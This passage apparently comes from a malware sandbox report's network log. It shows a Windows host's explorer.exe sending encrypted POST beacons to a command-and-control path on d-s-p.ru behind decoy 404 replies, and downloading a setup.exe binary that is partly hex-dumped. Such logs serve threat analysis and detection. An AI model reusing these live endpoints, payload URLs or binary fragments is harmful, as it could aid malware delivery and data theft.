Dec 30, 2024 19:45:42.293144941 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:41 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50068	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:42.307691097 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jhajwwseppqky.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 224 Host: d-s-p.ru
Dec 30, 2024 19:45:42.307706118 CET	224	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 32 6b 2c 90 f5 76 0b 75 6f 17 d7 9c Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[2k,vuo4m+OKSy~NL/i_POADU,WmMO[[ly(C=XD9%,]9wk@(l
Dec 30, 2024 19:45:43.757122040 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:43 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50069	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:43.834738970 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dltxnhcbkmo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: d-s-p.ru
Dec 30, 2024 19:45:43.834769964 CET	235	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 33 6b 2c 90 f5 76 0b 75 5a 08 c5 a4 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[3k,vuZo@Oy7KIR<=e\+I=`((<KkTVbF&<-j5Biw/48;/2L~/t}G+.zN
Dec 30, 2024 19:45:45.285413980 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:44 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50070	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:45.692699909 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hhxuaiudkfar.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 144 Host: d-s-p.ru
Dec 30, 2024 19:45:45.692713976 CET	144	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 30 6b 2c 90 f5 76 0b 75 75 4f be e9 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[0k,vuuOoDzHxB^)%^m}>VL)&P)
Dec 30, 2024 19:45:47.149158001 CET	186	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 5b 3b 08 ad 61 44 a2 ac 09 a2 c8 b0 e5 31 91 3a c0 e8 6d 5f 0d 89 Data Ascii: #\([;aD1:m_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50071	101.99.94.162	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:47.162472010 CET	160	OUT	GET /setup.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 101.99.94.162
Dec 30, 2024 19:45:48.013889074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:45:47 GMT Server: Apache Last-Modified: Sun, 29 Dec 2024 18:09:14 GMT ETag: "11b517-62a6c97ed2680" Accept-Ranges: bytes Content-Length: 1160471 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 58 7c 80 4e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 6e 00 00 00 8e 07 00 00 42 00 00 83 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 20 10 00 00 04 00 00 c4 7c 12 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELX\|NnB8@ \|@4@ (d.textmn `.rdatab*,r@@.data~@.ndata0.rsrc@@@.reloc2r@B
Dec 30, 2024 19:45:48.013916016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: U\}t+}FEuH-GHPuuu@KSV5-GWEPu@eEEPu@}eD@FRVVU+MMEFQ
Dec 30, 2024 19:45:48.013926983 CET	1236	IN	Data Raw: 50 e8 7d 53 00 00 83 7c 24 08 00 8b f0 7d 06 56 e8 a1 4b 00 00 8b c6 5e c2 04 00 55 8b ec 81 ec 10 02 00 00 53 56 57 8d 45 fc 50 a1 b0 2e 47 00 83 c8 08 50 33 db 53 ff 75 0c ff 75 08 ff 15 04 80 40 00 3b c3 75 69 8b 35 00 80 40 00 bf 05 01 00 00 Data Ascii: P}S\|$}VK^USVWEP.GP3Suu@;ui5@9]uKSPuuWPSutu@jM;t$S5.Guuu@3@_^[9.Guuu@uU@@Vt5.GE
Dec 30, 2024 19:45:48.013940096 CET	672	IN	Data Raw: 00 e8 47 49 00 00 59 e9 49 fe ff ff 53 e8 f4 fa ff ff 8b f0 8d 45 08 50 57 68 04 20 00 00 56 ff 15 70 80 40 00 85 c0 74 24 8b 45 08 3b c6 76 29 66 39 18 74 24 56 e8 44 49 00 00 3b c3 74 0e 83 c0 2c 50 ff 75 08 e8 68 46 00 00 eb 0c 33 c0 66 89 07 Data Ascii: GIYISEPWh Vp@t$E;v)f9t$VDI;t,PuhF3fE9]+h WWl@jMQVh SPSh@3EfjXPVtDEj16EVPQh@uMZH
Dec 30, 2024 19:45:48.013950109 CET	1236	IN	Data Raw: 40 00 ff 75 f8 ff 15 bc 80 40 00 3b fb 0f 8d da 14 00 00 83 ff fe 75 13 6a e9 56 e8 ef 4b 00 00 ff 75 cc 56 e8 06 44 00 00 eb 08 6a ee 56 e8 dc 4b 00 00 56 68 84 8a 40 00 e8 6f 46 00 00 59 59 68 10 00 20 00 56 e8 5f 40 00 00 e9 ec f9 ff ff 53 e8 Data Ascii: @u@;ujVKuVDjVKVh@oFYYh V_@SVhh@JFYYuV7Pzj1Vuh@@#FuV@;;EuEM;E9E<jVh(@jPOCjYijYE^j
Dec 30, 2024 19:45:48.013962030 CET	224	IN	Data Raw: e8 8d f3 ff ff 50 53 ff 15 78 82 40 00 50 53 68 72 01 00 00 56 ff 15 88 82 40 00 3b c3 0f 84 f6 0f 00 00 50 ff 15 44 80 40 00 e9 ea 0f 00 00 6a 48 6a 5a ff 75 f4 ff 15 7c 82 40 00 50 ff 15 40 80 40 00 50 6a 02 59 e8 30 f3 ff ff 50 ff 15 50 81 40 Data Ascii: PSx@PShrV@;PD@jHjZu\|@P@@PjY0PP@jYAuAEA$hAAAAFhAL@g33A9]th@AYWV9]uD@9
Dec 30, 2024 19:45:48.014065027 CET	1236	IN	Data Raw: ff 15 80 82 40 00 e9 2e 0f 00 00 53 e8 a1 f2 ff ff 6a 31 8b f0 e8 98 f2 ff ff 6a 22 8b d8 e8 8f f2 ff ff 6a 15 8b f8 e8 86 f2 ff ff 68 d0 f0 40 00 6a ec e8 90 2d 00 00 0f b7 07 ff 75 e0 f7 d8 1b c0 23 c7 68 b0 b0 4c 00 50 0f b7 06 f7 d8 1b c0 53 Data Ascii: @.Sj1j"jh@j-u#hLPS#Pu@!}PWSVh@@@WSVh@s@SVh@X@YYVj-V9EV;t_h@6@YY9]tF5(@j@jdu=tEPu,@
Dec 30, 2024 19:45:48.014086962 CET	1236	IN	Data Raw: 56 68 ec 85 40 00 89 45 08 e8 17 3c 00 00 83 c4 0c 56 e8 40 3c 00 00 85 c0 75 0d 53 6a f9 e8 d1 28 00 00 e9 6d f3 ff ff 8b 45 f4 56 89 45 a4 c7 45 a8 02 00 00 00 e8 66 39 00 00 33 c9 57 66 89 4c 46 02 e8 59 39 00 00 33 c9 66 89 4c 47 02 8b 45 08 Data Ascii: Vh@E<V@<uSj(mEVEEf93WfLFY93fLGEfMPSu}EfM(EP@.Gh@@V]]]8V0AW89]tSE9]tjE9]tj"EjSWVh
Dec 30, 2024 19:45:48.014096975 CET	1236	IN	Data Raw: 53 53 57 ff 75 08 6a ff 68 d0 f0 40 00 53 53 ff 15 48 81 40 00 ff 75 08 ff 15 4c 81 40 00 66 39 1e 74 1e 53 8d 4d bc 51 50 ff 75 08 56 e8 e6 33 00 00 50 ff 15 54 81 40 00 85 c0 0f 85 f1 f7 ff ff c7 45 fc 01 00 00 00 e9 e5 f7 ff ff 6a 02 59 e8 9f Data Ascii: SSWujh@SSH@uL@f9tSMQPuV3PT@EjYE0 ;~Mf9V]3E9]SEPjEPuX@}u\|9]u9jEPjEPSS\@E<t.<t*fEfwEFE:tE;u\|>EPW
Dec 30, 2024 19:45:48.014107943 CET	672	IN	Data Raw: 00 01 00 00 8b 45 dc 8b 4d d8 89 0c 86 39 5d e0 0f 84 a7 00 00 00 ff 75 08 e8 42 e1 ff ff e9 9a 00 00 00 33 c9 e8 f6 e3 ff ff 83 f8 20 0f 83 ba e9 ff ff 39 5d e0 74 1f 39 5d dc 74 0f 50 e8 3d e2 ff ff 53 53 e8 88 e1 ff ff eb 71 53 e8 79 e2 ff ff Data Ascii: EM9]uB3 9]t9]tP=SSqSyR9]tM-GO-GW^7:trES#Pju@9]t!SSu@jP2PVn.E.G3_^[I@@<@P@r@@@B@n
Dec 30, 2024 19:45:48.018821955 CET	1236	IN	Data Raw: 08 e8 b2 29 00 00 33 c0 c9 c2 10 00 56 33 f6 39 74 24 08 74 18 a1 50 b1 42 00 3b c6 74 07 50 ff 15 2c 82 40 00 89 35 50 b1 42 00 5e c3 39 35 50 b1 42 00 74 08 56 e8 31 30 00 00 5e c3 ff 15 90 80 40 00 3b 05 20 2e 47 00 76 23 56 68 4c 32 40 00 56 Data Ascii: )3V39t$tPB;tP,@5PB^95PBtV10^@; .Gv#VhL2@Vjo5-G0@jPPBD@^UVujEPVu5@X@t9uu3@3^]jjt$5@`@USVuW}uuEeuP1BEx.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50072	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:50.198698997 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hssuixmkgbellf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: d-s-p.ru
Dec 30, 2024 19:45:50.198709011 CET	147	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 30 6b 2c 90 f4 76 0b 75 25 55 e4 ed Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA ,[0k,vu%UTXWnX_}c7Y}zcT@Z#o3QN
Dec 30, 2024 19:45:51.683324099 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50074	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:51.706866980 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lnwqqljmdwq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 165 Host: d-s-p.ru
Dec 30, 2024 19:45:51.706907034 CET	165	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 31 6b 2c 90 f5 76 0b 75 3b 0f eb e3 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[1k,vu;TUWZkiBKfn(w]LTM,FN#6ND&&(
Dec 30, 2024 19:45:53.143642902 CET	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:52 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50075	58.151.148.90	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:45:53.187393904 CET	277	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mvyahhxtkfb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 152 Host: d-s-p.ru
Dec 30, 2024 19:45:53.187393904 CET	152	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 36 6b 2c 90 f5 76 0b 75 21 2b cc 87 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA -[6k,vu!+xCpWT>Q:f'?NnK;\&V-A%j]NRy`D
Dec 30, 2024 19:45:54.618961096 CET	186	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:45:54 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 0d 63 54 f1 35 0b f5 fd 09 fc 8c e5 e5 00 9d 3c d2 fd 6d 5f 0d 89 Data Ascii: #\6cT5<m_

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	50079	58.151.148.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 19:46:01.933288097 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pagpbwhildwqiuis.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 310 Host: d-s-p.ru
Dec 30, 2024 19:46:01.933303118 CET	310	OUT	Data Raw: 3b 6e 59 63 f2 cb 6c 54 df a3 b0 00 72 07 7d c9 7b 08 ba e3 6e 72 95 62 7e 0b 7b 97 35 cb b3 19 92 5f c1 5c 0f 1e 27 1f 9a ee 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 36 6b 2c 90 f4 76 0b 75 26 07 ec 94 Data Ascii: ;nYclTr}{nrb~{5_\'? 9Yt M@NA ,[6k,vu&%qybn5r"}"cCXC/V&ZZ!J\|,^4f"BOOujDomX1dLxqyaAj"abo}^"
Dec 30, 2024 19:46:03.408464909 CET	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Mon, 30 Dec 2024 18:46:03 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50050	51.79.230.147	443	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:45:10 UTC	179	OUT	GET /wp-content/images/pic4.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.tazc.com.my
2024-12-30 18:45:10 UTC	544	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=604800 expires: Mon, 06 Jan 2025 18:45:10 GMT content-type: image/jpeg last-modified: Mon, 16 Dec 2024 15:41:38 GMT accept-ranges: bytes content-length: 7286372 date: Mon, 30 Dec 2024 18:45:10 GMT server: LiteSpeed x-frame-options: sameorigin strict-transport-security: max-age=31536000 alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
